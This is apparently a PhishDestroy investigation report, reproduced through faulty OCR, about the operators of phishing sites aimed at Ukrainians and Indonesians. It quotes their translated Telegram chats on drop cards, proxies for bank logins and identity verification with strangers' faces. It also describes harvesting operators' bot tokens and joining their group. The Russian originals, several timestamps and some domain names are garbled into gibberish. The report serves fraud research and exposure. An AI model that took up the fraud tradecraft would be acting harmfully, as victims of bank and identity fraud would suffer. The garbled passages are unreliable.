They do. | know someone who does. [lenatoT) 3HaKoOMble eCTb
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B

Bonya 2025-03-03 14:56

Not on the hand if you know how to make 400-500 a day. [1a He Ha py ecnu ymeTb Tvnbl no 400-500 B
OeHb genatoT

B

Bonya 2025-03-03 14:55

So what's the big deal?) Hy Tak a ye TyT 3a6bin )

B

Bonya 2025-03-03 14:55

There's a link to the manul Tam ccbinka Ha MmaHyna

B

Bonya 2025-03-03 14:54

These are the kind of hands BoT Takne py 3aBegyT

B

Bonya 2025-03-03 14:54

Fucking drooling and eyeballing to get a fucking hand. E6aTb 4TOGbl 3aBECTU Py MOXHO CJIHOHU NyCKaTb
W rnasa 4toobbl B paspble CTOPOHbI Bblnn

B

Bonya 2025-03-03 14:54

Well, what's the problem? It's the same vork. Hy Tak a B 4yem npo6remMa TyT Takou Xe BOpK
B

Bonya 2025-03-03 14:53

It'll take a month to get to the zone [1o 30HbI AO0BeAYT 3a MecHL,

B

Bonya 2025-03-03 14:53

And there's nowhere to lead. If you've got a brain, you'll figure it out. If you don't, you're out of here.
[a v BecTn TyT HeKya MO3ru eCTb pa3sbepeLlbcs HETY Hex TyT genatb

B

Bonya 2025-03-03 14:53

What do you want? Ye Tbl xoTen

B

Bonya 2025-03-03 14:53

Advertisement Peknama

B

Bonya 2025-03-03 14:52

I've been here 2 days and 2.0 isn't interesting. | thought it was cool. 4 2 geHb TyT 1 2.0 HE MHTEPECHO A
Ayman 4yeT npuKosibHoe

B

Bonya 2025-03-03 14:52

And have a mammoth /1 3aBeCcTn MaMOHTa

B

Bonya 2025-03-03 14:52

Use your head to think about what to say. lonosou nogymTab Ye OTBETUTb

B
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Bonya 2025-03-03 14:52

There are no secrets CekpeToB TYT HETY

B

Bonya 2025-03-03 14:52

What will he give you YT10 OH Bam gacT

B

Bonya 2025-03-03 14:52

Well, what's the point if the manual has all the same information. Tak a cmMbIC/1 ecniv B MaHyane Bcs Ta
e nHoa

B

Bonya 2025-03-03 14:51

He'll have time to answer all your dicks OH xyu Bam 6ygem BCeM ycrneBaTb OTBeYaTb
B

Bonya 2025-03-03 14:51

What a practice. Kakas npaTtuka

B

Bonya 2025-03-03 14:51

He's got 100 people in there. EnT Tam y Hero no 100 yenosek
B

Bonya 2025-03-03 14:51

Why don't you give me some money and I'll give you the manual from the clamp. MoexeT MHe 6abku
CKWHYTb f1 BaM MaHyarn fam 13 3akpena

B

Bonya 2025-03-03 14:50

In fixing B 3akpene

B

Bonya 2025-03-03 14:50

You don't need a manual to teach you all. A Hax Bam 06y4eHune BCeM MaHyan 3e eCcTb
B

Bonya 2025-03-03 14:50

2.0 is what it is. 2.0 kakou 6bln TaKOU U ecTb

B

Bonya 2025-03-03 14:50

What the fuck is the problem? Ta a xynu TyT 3agayka

B

Bonya 2025-03-03 14:48

Did you start it yourself? Tbl cam 3aBogun yxe?

B

Bonya 2025-03-03 14:48

No coo-coo Hunkak He BOpK

B

Bonya 2025-03-03 14:48

There's a hit on the Ik o nk ecTb B6UB

B
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Bonya 2025-03-03 14:48

What's the wark on the Ik Kakou Bopk no nk

B

Bonya 2025-03-03 14:48

Which one of these are you dicks, as you put it. /I3 KOro aTux Tbl Xy NOUMM Kak Bblpasunncs
B

Bonya 2025-03-03 14:47

| don't understand what you're saying here. BoT TyT He NoHAN Ye Tbl cKasan
B

Bonya 2025-03-03 14:46

If they're logged in, then great. Ecnv B NIk 3axogAT Torga 36¢

B

Bonya 2025-03-03 14:46

Well, do they log in? Hy B Nk 3axogat?

B

Bonya 2025-03-03 14:45

| don't know how they shoot them. X3 s He Wwapto Kak X CHUMaIOT
B

Bonya 2025-03-03 14:45

Pooches to write off? Mywwn Ha cnncanue?

B

Bonya 2025-03-03 14:45

Fuck there's a fucking push button Xya Tam ewe v nywm Tanatb
B

Bonya 2025-03-03 14:42

I'm pouring it myself 4 cam neto

B

Bonya 2025-03-03 14:42

| fucking realized it's not for fucks. {4 6nATb NOHANY TO HE Ha XyMK
B

Bonya 2025-03-03 14:41

Bro, they don't sell nothing on chips here, it's a payday chip. bpaTtaH TyT He npogatoT H14Ye Ha ¢uLax
TYyT oMW Ha onnaTy

B

Bonya 2025-03-03 14:41

| get it, there's nowhere to pour it 4 noHaAN, TyT HEKyAa NUTb ero
B

Bonya 2025-03-03 14:40

Regular 2.0, I think. O6bl4HbIM 2.0 Bpoae

B

Bonya 2025-03-03 14:40

It's not like they're flooding traffic Tak TyT Xe He NblOT TpadumkK
-- ®6cTOp - YaT YenewHbix Be6MacTepos! (23 messages) --

B
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Bonya 2025-02-26 07:51

Well, do whatever the fuck your face is. Hy BOoT genau Tam nox 4be numuo
B

Bonya 2025-02-26 07:50

A schoolboy 200® dai. Hy wkonbHMKY 2009 paun

B

Bonya 2025-02-26 07:50

It'll work MpokaTtut

B

Bonya 2025-02-26 07:50

You'll find a homeless guy on the street. Ha ynuue 6omxa nonman npouam
B

Bonya 2025-02-26 07:50

So everyone believes in their own face, no matter whose. Tak Bce BepudpatoT Ha CBOe L0 TaM Mox
ybe

B

Bonya 2025-02-26 07:50

On your face. Ha cBoe nuuo

B

Bonya 2025-02-26 07:49

But the fact is, whatever, I've done it 10 times. Ho no ¢akTy nox s Tak 10 akkos Bepudan
B

Bonya 2025-02-26 07:49

So tell me, you're just spewing nonsense. Tak M CKaXXu YepHyXy Jibellb
B

Bonya 2025-02-26 07:49

You can MoxHo

B

Bonya 2025-02-26 07:49

On your face. Ha cBoe nuuo

B

Bonya 2025-02-16 20:26

instead of fucking them up with some kind of training and running traffic on them. a He Tuno
HaebblBaTb KakMM TO OOyYEHUEM U KPYTUT Ha HUX Tpad

B

Bonya 2025-02-16 20:25

lei normal ubt tt tt youtube etc. nen HopmanbHbIN YOT TT HOTY6 U T,

B

Bonya 2025-02-15 17:31

Xz X3

B

Bonya 2025-02-15 17:31

Under the pretense of training lNMog npeanorom o6y4yeHus

B
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Bonya 2025-02-15 17:31

To the canals Ha kaHanbl

B

Bonya 2025-02-15 17:31

It's just the traffic from the people. NpocTo Tpaduk ¢ nogeL, HaroHseT

B

Bonya 2025-02-15 17:31

So the type says to subscribe to all his channels Tak Tn roBopuT NOANNCaTbLCS Ha BCE €ro KaHasbl
B

Bonya 2025-02-15 16:36

You don't have to write XynHio npegnaraet MOXeTe He nucaTb

B

Bonya 2025-02-06 15:11

If you don't know the basics of how to pour, you're gonna be Ecnu Tbl TakMe OCHOBbI HE3HaeLlLb KakK
NnTb TO Byaellb

B

Bonya 2025-02-06 15:11

There is a button to change the aipi, you should at least google it. 1o KHONKe TamM MEHSIETCA aunu Thbl
XOT 3aryrnm

B

Bonya 2025-02-06 15:10

B

Bonya 2025-02-06 15:09

You can change the aipi in there by rotating it. Tam aunn MOXXHO CMeHUTb poTaume
B

Bonya 2025-02-06 15:09

Why 1, it's the same Mobile Noyemy 1, 370 XXe MobuNbHbIE
-- CryptoGrab - YAT B3aumonomouwm (10 messages) --

B

Bonya 2025-02-06 15:31

It's not that simple He Tak Bce npocTo

B

Bonya 2025-02-06 15:31

Easy. V3n

B

Bonya 2025-01-23 20:30

Not one example He ogHoro npumepa

B

Bonya 2025-01-23 20:30

It's not funny that | couldn't find any ads for aml tests on the Internet. Ta He npuKon 4YTo A1 BOOGLLE
peknamMy amsn TeCTOB B MHETe He Hallen

B

Bonya 2025-01-23 17:20

PhishDestroy Independent Threat Intelligence - phishdestroy.io Page 32 /51



There's nothing on the aml at all. Ha amn Boo6Le HM1Ye HeTy

B

Bonya 2025-01-23 17:20

| tried aml on fb to shed america also sensible even old bundles not found in the internet 4 npo6osan
amn Ha $6 NPoNUTb aMepUKy TOXe TONKOBbIX Jaxe CTapblX CBA30K He Hallen B UHeTe

B

Bonya 2025-01-23 17:19

Well, what kind of offer are you planning? Hy a Boo6Lue kakon odep nnaHmpyeLb

B

Bonya 2025-01-23 17:16

Do you use aml? A Tbl amn NbeLb?

B

Bonya 2025-01-21 20:38

Anybody who pours fb would like to clarify a couple of questions ECTb KTO nbeT $p6 xoTen 6bl YyTOUYHUTb
napy BONpocos

B

Bonya 2025-01-20 11:08

Does anyone have any examples of creos for aml EcTb y KOro npumepbl Kpeo 48 amn

-- Rolex | o6wwumit yaT (28 messages) --

B

Bonya 2024-09-1115:29

What are the Lithuanians doing on what court? A nuTBy No kakou nnowagke eéawlyT

B

Bonya 2024-09-1115:21

You're fucking with the screw? Hy Tbl BUHT e6awwmib?

B

Bonya 2024-09-1115:20

It's just that the sites are very restrictive and so much fucking around with them MNpocTo nnowagku
OYeHb OrpaHUYUBAIOT PaboTy M CTONIbKO e6aTHN C HUMU

B

Bonya 2024-09-1115:19

I've got a theme in mind. If they do it, it'll be fucking awesome. 1 Tam ogHy TeMy npugyman Tcam
Hanucan ecnuv caenatoT 6yaeT axyeHHo

B

Bonya 2024-09-1115:19

| don't see much in the way of logs on the finca. Jloroe no ¢p1HKe 4YeT He BUXY 0COGO

B

Bonya 2024-09-1115:19

They've got some fucked-up shit going on with all the venues. [Ja Hy Tunbl CUAAT Y HAUX Kakasa To
ebaHMHa co BCeMu nnowagkamMmm

B

Bonya 2024-09-1115:16

That's what I'm saying, it's like a ford on a ford. Hy g 1 roBopto yeto ¢pog Ha dpoae

B
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Bonya 2024-09-1115:15

| can't understand what's going better now, | see that everyone in Finland is not working. Ye wac
nydlle naet 9 Boo6Le NOHATb HE MOTY, BUXY YTT y BCeX Mo GpuHKe 4YeTo He paboTaeT

B

Bonya 2024-09-1115:08

Well, it's 50/50 if you get lucky with the proxies. Hy 50/50 ecnv noBeseT ¢ NpPOKCen

B

Bonya 2024-09-11 15:07

But just so you understand, nowadays, with luxe proxies, even on Viber, when you log on, it freaks out.
Ho 4To6 NnoHMMan wac ¢ nakwepu NPoKCcAMU Aaxe B Banbep Korga 3axoauwb ¢poaut

B

Bonya 2024-09-1115:07

Well, I don't know about the eu cans. Hy A 3a ey 6aHku He Wapto

B

Bonya 2024-09-1115:07

In Ik B nk

B

Bonya 2024-09-1115:06

It used to be that the delicatessens had 10 of walk-ins PaHblue nakwepwu rno 10 3axog0oB gepxxanu
B

Bonya 2024-09-1115:06

Well, the 922 is also 1in and holding. Hy 922 Toxe 1 3axogaT gepxat

B

Bonya 2024-09-1115:05

Even privat after 3 visits freaks them out. Jaxxe npuBaT nocne 3 3axoga ¢poauT nx

B

Bonya 2024-09-1115:05

If 1 proxy 1-2 banks Ecnu 1 npokcu 1-2 6aHKa ToK

B

Bonya 2024-09-1115:05

Well, it depends on which bank Hy cmoTps kakon 6aHK

B

Bonya 2024-09-1115:04

The proxies are often filthy in the laksheri hooey B nakwepu XynHs1 NPOKCU YacTo rpsA3Hble
B

Bonya 2024-09-1108:44

Is ts asleep? A Tc cnut?

B

Bonya 2024-09-11 08:40

Oh, that's a great idea. O 36¢ npugyman

B

Bonya 2024-09-11 08:40

Don't they have like a flea market or something? A 4ye y HUX HeTy TMNo 6apaxonok Tyga croga
B
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Bonya 2024-09-11 08:40

Fucked up XyeBo

B

Bonya 2024-09-11 08:39

Bilya buns

B

Bonya 2024-09-11 08:39

Are there chat rooms? A Tam yaTbl eCTb?

B

Bonya 2024-09-11 08:38

Does anyone know KTo HW6yab 3HaeT

B

Bonya 2024-09-11 08:38

Do people in finca use tg? B ¢puHKe ntogun Tr NONb3yrHTCA?

B

Bonya 2024-09-10 12:14

Thank you. Cric

B

Bonya 2024-09-10 12:13

What's the time in Finland Ckok wac BpemMsi B $puHKe

-- AKkTyanbHoe/Bepudukaumm/3apo6oTok ¥ [ (37 messages) --

B

Bonya 2024-06-16 17:17

| don't see any fierce defenders of her  He BMXY TYT ApbIX 3aLLMTHUKOB ee

B

Bonya 2024-06-16 17:17

Well all h told the situation and then everyone makes their own choice, and the fact that only admin
pasha is defending her says a lot. Hy Bce 4 pacckasan cuTyauuto a ganblie Kaxablu genaeT Bbloop
caMm, a To YTO ee 3almLlaeT TONbKO agMUH nawia 0 MHOromM roBopuT

B

Bonya 2024-06-16 17:15

And she didn't pay out again / oHa onATb He BbiNnaTuna

B

Bonya 2024-06-16 17:15

No, she transferred it to us, and then we didn't have the main drop to transfer the money, so we wrote
to Vika as a last resort. HeT oHa ee nepeknHyna Ha Hac a TyT Y Hac HeBbIIO OCHOBHOIO Apora YToobl
nepeBecTn AEeHbIMM N Mbl HAaNUCcanu BUKe Kak KpavHun BapuaHT

B

Bonya 2024-06-16 17:14

At first we were fine too, but lately your money has been disappearing all the time. CHauana y Hac Toxe
HOpManbHO BCe 6bINO a nocnegHue BpeMs AeHbrn y Bac nNponagatoT Bce BpeMs

B

Bonya 2024-06-16 17:14
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Am | spamming? I'm sitting here telling people the truth. You can throw it out. Let people know how you
work. Ay MeHsi cnam? f cuxy NoasiM pacckasblBato npaBay MoXellb BbIKUHYTb YTO M3SMEHUTCH NyCTb
NHOAM 3HALOT Kak Bbl paboTaeTe

B

Bonya 2024-06-16 17:13

When you have one of these Korga y Bac Takoe cnyumtcs

B

Bonya 2024-06-16 17:13

So it's time for you to reflect Tak 4To Bpems Bam 3agymaTbcs

B

Bonya 2024-06-16 17:13

We have been working with nei for a long time too and this is the 2nd situation Mbl ¢ Heu ToXe [aBHO
pabdoTaeM U 3TO yXe 2 cutTyauus

B

Bonya 2024-06-16 17:13

And she recorded the gs and said you know how it works. A oHa 3anucana rc n ckasana 4To Bbl 3HaeTe
KakK oHa paboTaeT

B

Bonya 2024-06-16 17:13

That's exactly the job, let's start from the beginning, we took her card for money, we put 60k, she went
to withdraw it and writes that the money will not be there because her ATM chewed up the card and
that's it, we just threw away 60k. BoT UMeHHO paboTy, BOT faBanTte Ha4HEM CHa4vana Mbl B3SNU y Hee
KapTy Ana geHer 3akuHynu 60K oHa noLuna ux CHUMaTb Y NMULLET YTO AeHer He 6yaeT AKobbl y Hee
GaHKOMaT 3a)keBasl KapTy 1 BCe CYMTaM Mbl NPOCTO BbIKUHYMN 60K

B

Bonya 2024-06-16 17:11

She's not the one who has us A He Mbl y Hee

B

Bonya 2024-06-16 17:11

Although we did have 60k stolen XoTs y Hac ykpanu 60k

B

Bonya 2024-06-16 17:11

Normal? We've explained everything here. You're saying we're morons. HopmansHble? Mbl TyT BCe
O0GBbACHUAN Bbl FOBOPUTE YTO Mbl Aebubl

B

Bonya 2024-06-16 17:10

You're defending her Bbl ee 3awuuiaete

B

Bonya 2024-06-16 17:10

She still has our money Halu geHbru octanuce y Hee

B

Bonya 2024-06-16 17:10

All of them Bce

B
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Bonya 2024-06-16 17:10

That a man was poured 60 grand, she said ho money. Yto yenoseky 3anunun 60K OHa CKa3asn AeHer He
oynet

B

Bonya 2024-06-16 17:10

Described* Onucanu*

B

Bonya 2024-06-16 17:10

The whole situation has been described to you Te6e BCto CUTyauuto onucnan

B

Bonya 2024-06-16 17:09

Who's the dropper? Her or us. KTo 4ponoBog, OHa niaun Mol

B

Bonya 2024-06-16 17:09

We've got 60 grand in the bank. Where's the money? 3anvnu 60K rae aeHbru

B

Bonya 2024-06-16 17:09

You've got the situation all explained to you, it doesn't matter what sex you are. Kakux 6a6 Te6e Bce
CUTYaLMIO OBbACHUNN, HEBAXEH NOJ NMONTHOCTbIO

B

Bonya 2024-06-16 17:08

Take out 60 grand and call it a day. Y6eaTb 60K 1 3a6U1Tb

B

Bonya 2024-06-16 17:08

Or fuck you within reason. Vinu Haxywn y Bac B npegenax pasyMHoro

B

Bonya 2024-06-16 17:08

People have nothing to pay for Jltogam ¢ yero nnatutb

B

Bonya 2024-06-16 17:08

And he says the card got chewed up and he's out of money. N roBopuT KapTy 3axxeBasno AeHer HeTy
B

Bonya 2024-06-16 17:08

A man was poured 60 grand, she went to shoot. Yenoseky 3anunu 60k oHa nowna cCHUMaTb
B

Bonya 2024-06-16 17:07

So you're gonna give me the facts. Tak Tbl N0 paKyT 060CHYM

B

Bonya 2024-06-16 17:07

So who the fuck is to blame, who's the dropper | am? Tak a KTo Haxyu BUHOBAT, KTO ApPOMNOBOA A7
B

Bonya 2024-06-16 17:07

Nothing to say? CkasaTb He4yero?

B
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Bonya 2024-06-16 17:07

Or | couldn't type the fucking pin. nu 4ye Haxyun pykun KpuBble NWUH HabpaTb He cMOorna

B

Bonya 2024-06-16 17:06

How the fuck could an ATM jam the card? Kak 6naTb 6aHKOMaT MOI KapTy 3a)keBaTb

B

Bonya 2024-06-16 17:06

Suckers Noacochl

B

Bonya 2024-06-16 17:06

And you're fucking pumping for her. A Bbl Haxyu TyT 3a Hee Ka4daeTe

B

Bonya 2024-06-16 17:06

You fucking naturals are fuckin' idiots. You got a fuckin' woman sitting here fuckin' with her money and
her card got chewed up by an ATM. Ta e6aTb Bbl HaTypu e6/aHbl Y Bac CUAUT XyUHSA Ha 6abku
BbeObIBaeT WO Yy Hee KapTKy 3a)keBasn 6aHkomart

B

Bonya 2024-06-16 16:40

@kysia1987 don't work scam, gave dropkick and merged with 60k @kysial987 He paboTaTb CKawm,
Jana gponky n cnunace ¢ 60k

MONETTI ESCOBAR: The Silent Boss

In stark contrast to Bonya's 261 messages, MONETTI has only 10 public messages — all in a single
thread on TraFFeeQ Chat (Black ADS/SEO traffic arbitrage), defending a colleague:

TraFFeeQ Chat Dec 2025
‘ "A man does his job, he gets paid for it — like to discuss?"

Yenoeek paboTaeT CBO paboTy, eMy NNaTAT 3a Hee, Ye 06CyXaaTh)
Normalizing criminal work as "just a job"
TraFFeeQ Chat Dec 2025

‘ "There's nothing to discuss with you"

C To60M Hevero obecyxaaTb
Dismissive authority — boss mentality, above debate
TraFFeeQ Chat Dec 2025

| "There's plenty to do besides you!"

Bes 1e6sa ecTb YeM 3aHATbCSA)

Implies multiple concurrent operations demanding his attention

MONETTI's Telegram groups tell the rest: Medusa Google Ads (black-hat PPC fraud), a Deepfakes
channel (synthetic media for fraud), and MARLBORO CHAT (private, unknown). The Telegram
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Premium subscription, 24/7 business hours, and "EcTb npepgnoxenue" ( "Have a proposition" )
business bio paint the picture of someone who treats cybercrime as a full-time enterprise.

v MONETTI ESCOBAR: Complete Message Log (10 messages)

MONETTI ESCOBAR (@monettiescobar) — Full Translated Message History
-- TraFFeeQ Chat | Apbutpax Tpadpopuka | Black ADS/SEO | (9 messages) --
ME

MONETTI ESCOBAR 2025-12-06 20:42

Leave it! OcTaBb 370!

ME

MONETTI ESCOBAR 2025-12-06 20:42

A man does his job Yenosek 3aHuMaeTcsl cBoeun paboToun

ME

MONETTI ESCOBAR 2025-12-06 20:42

No aggression Hukakoun arpeccumn

ME

MONETTI ESCOBAR 2025-12-06 20:40

Don't worry about that either He 6ecriokouncsa Toxe 3a aTo

ME

MONETTI ESCOBAR 2025-12-06 20:39

Talk to him, bro. He's not forbidden to do that. Noo6wanca ¢ HMM Gpo ,eMy He 3anpeLann aTo genaTb
ME

MONETTI ESCOBAR 2025-12-06 20:39

There's plenty to do besides you!) ECTb 4eM 3aHATbCA NOMUMO Tebs!)

ME

MONETTI ESCOBAR 2025-12-06 20:39

There's nothing to discuss with you C To601 Heyero o6cyxaatb

ME

MONETTI ESCOBAR 2025-12-06 20:38

It's written next to his nickname. You don't have to poke, you'll read it. Y Hero psagom ¢ HUKOM
HanMcaHo,TbikaTb He Hago,NpoYnUTaeLlb

ME

MONETTI ESCOBAR 2025-12-06 20:38

The man does his job, he gets paid for it, like to discuss) Yenosek cBoto paboTy AenaeT,oH 3a 3TO
AEHbIM NonyYaeT,HPaBUTCS 06CYXAau)

-- Medusa | Google Ads | YaT (1 messages) --

ME

MONETTI ESCOBAR 2025-09-23 18:07

© O
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User Info

MONETTI ESCOBAR ﬂ
ﬂﬁ

MOMETTI

ADD TO CONTALTS

Motifications

SEND MESSAGE

1 Eroup in common

Screenshot 2 — MONETTI's Telegram profile.
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User Info

ADD TO CONTALTS

MNotifications

SEND MESSAGE

Screenshot 3 — Bonya's profile. Note DC2 (Amsterdam).

Section 7: The Panic Room

After PhishDestroy accessed the operator group through the exposed Telegram bot, the following
exchange occurred. The chat log below has been translated to English with original Russian preserved
in italics. The identity used for access has been redacted.

Operator Group — "ldr card" — Complete Chat Log (61 messages)
— REDACTED joined via exposed bot token —
R

REDACTED 25-03-2026 13:03:43

[start

ME

MONETTI ESCOBAR 25-03-2026 13:06:53

?

ME

MONETTI ESCOBAR 25-03-2026 13:07:03
Who KT0

B

Bonya 25-03-2026 13:07:14
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Xz X3

R

REDACTED 25-03-2026 13:07:14

Hello just go to save your data wait nimute
ME

MONETTI ESCOBAR 25-03-2026 13:07:24
What the fuck Yto 6naTb

B

Bonya 25-03-2026 13:07:27

Fuck E6aTtb

B

Bonya 25-03-2026 13:07:28

That's who 10 KTO

ME

MONETTI ESCOBAR 25-03-2026 13:07:42
Uh-huh. Axaxa

ME

MONETTI ESCOBAR 25-03-2026 13:07:44
What the fuck? Ye 6n

B

Bonya 25-03-2026 13:07:53

The bot's been compromised BoTta nomaHnynu
B

Bonya 25-03-2026 13:08:16

I've been told our defense is fucked up. MHe KCT roBopunun 4To y Hac 3alumTa N3gL Xxepas
B

Bonya 25-03-2026 13:08:22

Well, there's a type Hy Tam T1n oguH

B

Bonya 25-03-2026 13:08:43

It's like breaking a bot through a phish. Yto y Hac 60Ta 4Yepe3 ¢uw nomMaHyTb Kak nanew, 06 nanew,
yoapuTb

ME

MONETTI ESCOBAR 25-03-2026 13:09:09
@devosus

ME

MONETTI ESCOBAR 25-03-2026 13:09:21
[REDACTED]. [REDACTED]

ME

MONETTI ESCOBAR 25-03-2026 13:09:24
Who's that 310 KTO

B

Bonya 25-03-2026 13:10:29

Check your profile. Tbl npo¢unnb YekHU
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B

Bonya 25-03-2026 13:10:32

It's a hacker 310 xakep

B

Bonya 25-03-2026 13:10:35

Literally. B npssmom cmbicrie

B

Bonya 25-03-2026 13:10:41

Translated what he's channeling MNepeBenu 4ye oH B KaHane nuweT

B

Bonya 25-03-2026 13:10:55

[REDACTED — Bonya copies and pastes the message from the channel that reported their domain,
trying to identify who flagged them]

B

Bonya 25-03-2026 13:12:19

So, uh. Hy kpu

B

Bonya 25-03-2026 13:12:23

| don't fucking know who that is. 1 Xy 3HaeT KTO 3T0

B

Bonya 25-03-2026 13:12:25

But not for good Ho He y oo6py

B

Bonya 25-03-2026 13:12:47

@devosus think about defense before we get our asses torn up. @devosus nogyman Hago 3alnTon
noKa HaMm >XOony He nopeanu

Editor's note: Bonya feels it coming. Let's suppose he's Russian and considers scamming Ukraine
"patriotic." Then what about Indonesia — a BRICS partner since October 2024 (Kazan summit)? Is it
also patriotic to steal from your allies' citizens? CIS scammers are equal-opportunity thieves with zero
intelligence and zero loyalty. Read our other investigations where we've documented cases of
prosecution for similar operators — the ending is always the same.

ME

MONETTI ESCOBAR 25-03-2026 13:12:49

Yeah, | can see that. [Ja g Buxy

ME

MONETTI ESCOBAR 25-03-2026 13:12:55

Fuck you. [1a noxymn roHuLUb

B

Bonya 25-03-2026 13:13:09

Well, it's not much of a thrill to be drained, either. Hy 6bITb CINTBIMUK TOXe He CUBbHO Kangd

ME

MONETTI ESCOBAR 25-03-2026 13:13:13

He won't do anything OH HMYero He cpoenaeT

ME
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MONETTI ESCOBAR 25-03-2026 13:13:18
What's he gonna do? YT1o oH conbeT?

D

Devoys 25-03-2026 13:13:26

what it is ye aTo

ME

MONETTI ESCOBAR 25-03-2026 13:13:34
Yeah, a guy joined [da 4yen npucoegmHunics
D

Devoys 25-03-2026 13:13:34

from where oTkyga

B

Bonya 25-03-2026 13:13:35

Even if you logged in to the phish a couple times with your own IP, it's not cool anymore. [Jaxe ecnu
napy pas Ha ¢uLl COo CBOEro annu 3allen yXe He NPUKONbHO
ME

MONETTI ESCOBAR 25-03-2026 13:13:37
To the group K rpynne

ME

MONETTI ESCOBAR 25-03-2026 13:13:38
Xz X3

D

Devoys 25-03-2026 13:13:39

when interpol korga B MHTEpPNON

D

Devoys 25-03-2026 13:13:41

to which Kk kakkom

ME

MONETTI ESCOBAR 25-03-2026 13:13:44
This one 3T1on

B

Bonya 25-03-2026 13:13:46

| just came in here to chat Ctoga B yaT 3awen
B

Bonya 25-03-2026 13:13:49

He wrote that Hanucan uto

ME

MONETTI ESCOBAR 25-03-2026 13:13:56
B

Bonya 25-03-2026 13:13:57

Hello just go to save your data wait nimute
ME

MONETTI ESCOBAR 25-03-2026 13:14:11
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[Photo shared]

D

Devoys 25-03-2026 13:14:31

I've seen them before. g Takux Bugen yxe
B

Bonya 25-03-2026 13:14:44

Well, we've been busted on the ukr bot, too. Hy Hac n no ykp 6oTta nomanu

B
Bonya 25-03-2026 13:14:55

You didn't text in the chat room. Tok He nucanu B YaTt

B

Bonya 25-03-2026 13:14:57

Didn't you write A HeT nucanu

ME

MONETTI ESCOBAR 25-03-2026 13:15:04
| don't give a fuck. da v noxymn

B

Bonya 25-03-2026 13:15:06

On behalf of the channel OT nmeHun KaHana
D

Devoys 25-03-2026 13:15:23

Forget the fuck about it. ga 3a6en xyn

ME

MONETTI ESCOBAR 25-03-2026 13:15:31
I'm tearing this group down CHowy 3Ty rpynny
B

Bonya 25-03-2026 13:15:35

+

D

Devoys 25-03-2026 13:15:35

yes fa

— Group deleted by owner —

The group was deleted within minutes. Bonya's parting acknowledgment —

— and Devoys

confirming "yeah" tell the whole story: they knew they were exposed, and their only move was to

destroy the evidence. But by then, the data had already been captured.

Note Bonya's revealing comment: "We also got hit on the Ukrainian bot" — confirming both projects
(Ukrainian + Indonesian) share the same operator team, and this wasn't the first time their

infrastructure was compromised.

Section 8: What This Demonstrates

How PhishDestroy Works

automated pipeline.

Every domain that appears on phishdestroy.io

dopomogvoinal.]Jsbs was no exception.
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Detection

Static Analysis
Infra Mapping
Origin Discovery
OSINT

Report Generation

Investigation Timeline

Mar 20, 2026

Domain dopomogvoinal.]sbs registered via NICENIC International
Mar 21, 2026

Detected by PhishDestroy's automated monitoring pipeline

Mar 21, 2026

Full automated analysis complete: infrastructure mapped, JS bundle deobfuscated, WebSocket
protocol documented

Mar 22, 2026

Origin IP identified. Second phishing project ("HealthCare ID") discovered on same server

Mar 22, 2026

Exposed config.json leads to operator identification via Telegram Bot API

Mar 23, 2026

Abuse reports filed with hosting provider, Cloudflare, and relevant CERTs

Mar 25, 2026

Article published. Domain reports live on PhishDestroy

How This Was Possible: PhishDestroy's Bot Intelligence Network

This investigation was conducted entirely by automated systems . PhishDestroy's pipeline doesn't just
detect phishing domains — it infiltrates the operator infrastructure behind them.

2,000+

Telegram Bots Harvested

Active

Some Bots Still Monitored

Since 2024

Collection Running

When phishing kits expose Telegram bot tokens — as this one did through config.json — our system
automatically harvests them, maps operator groups, extracts member lists, and archives message
histories. Over 2,000 bots have been collected this way since 2024. Some are still active, and we
enjoy watching criminals operate in real time — because the ending is already written.

Even operators who delete their accounts or wipe their groups are too late. By the time they panic, we
already have everything — message archives, profile data, group memberships, connected bots.
Deletion changes nothing. The data existed, and now it exists in our database.

"XXom MeHa" — Scammer Edition
This case is not unique — it's a showcase of systematic negligence by NiceNIC that we decided to
present as an example of "mega hackers." As "TunnuyHbln MoweHHUK" correctly pointed out: there's a
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difference between hackers and scammers — intelligence . These operators are neither hackers nor
smart.

PhishDestroy's systems automatically collect evidence like this across thousands of domains —
harvesting bots, archiving operator communications, mapping infrastructure. This particular case was
simply too absurd not to publish. The phishing kit is commodity-grade, the OPSEC is nonexistent, and
the operators panic-deleted their group within minutes of discovery.

We are building a system that will display verified operator identities directly on domain report pages
— from scammer to victim, like the Russian TV show ">Xgn Mena" (Wait for Me), but in reverse. It's
been running in closed mode since 2024. Many operators are already identified — including those who
deleted their accounts. We're just deciding the most interesting way to present it. Stay tuned.

Related Domains

Our analysis identified a second domain — hlpforvpeople[.]sbs — registered through the same
registrar with matching infrastructure patterns. Both domains are documented in our database:

e PhishDestroy Report: dopomogvoinal.]sbs

e PhishDestroy Report: hipforvpeople[.]sbs

Registrar Non-Compliance: NICENIC International

NICENIC International Group Co., Limited (Hong Kong) has received multiple detailed abuse reports
from PhishDestroy regarding both dopomogvoinal.]sbs and hlpforvpeople[.]lsbs . At the time of
publication — 5 days after the first report — no action has been taken. Both domains remain fully
operational.

This is not an isolated case. NICENIC is a recurring problem in our investigations. The registrar's abuse
contact ( abuse@nicenic.net ) consistently fails to respond to evidence-packed phishing reports.
Despite being an ICANN-accredited registrar bound by the Registrar Accreditation Agreement (RAA
§3.18), NICENIC operates with apparent impunity.

NICENIC maintains a Russian-language presence, sells .ru domains at premium prices (~$200), and
communicates with clients through VK and Telegram — platforms popular among Russian-speaking
audiences. Their client overlap with underground communities raises serious questions about whether
the registrar's non-response to abuse reports is negligence or a deliberate business strategy.

This investigation was published in part because of NICENIC's prolonged inaction . When registrars
refuse to act on phishing abuse, public exposure becomes the only remaining accountability
mechanism.

Key Takeaways

e Automation is the only way to keep pace. Phishing kits are deployed and weaponized within hours.
Manual review cannot scale to match.

¢ Operators make mistakes. An exposed config file on a secondary project unraveled an entire multi-
national phishing operation. Perfect OPSEC is hard to maintain across every project.
¢ Social engineering evolves with the news cycle. War, humanitarian aid, and government programs

are increasingly exploited for phishing lures because they target people in distress who are less
likely to question legitimacy.
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¢ Infrastructure reuse is the norm. One server, two phishing projects, two countries, same operators.
Mapping infrastructure connections reveals far more than analyzing a single domain in isolation.

Related Research
More investigations from PhishDestroy's automated intelligence pipeline

TrustWallet Panel Exposed

Admin panel breach reveals multi-country crypto phishing operation with operator chat logs.

Crypto Drainer Networks Exposed

Mapping the infrastructure behind wallet-draining phishing kits targeting DeFi users.

NiceNIC: Registrar Enabling Cybercrime

How an ICANN-accredited registrar consistently ignores abuse reports — including for this
investigation.

XMRWallet Exposed: 10 Years of Stolen Keys

A decade-long Monero wallet scam exposed through JavaScript analysis and domain forensics.

Scam Infrastructure Exposed

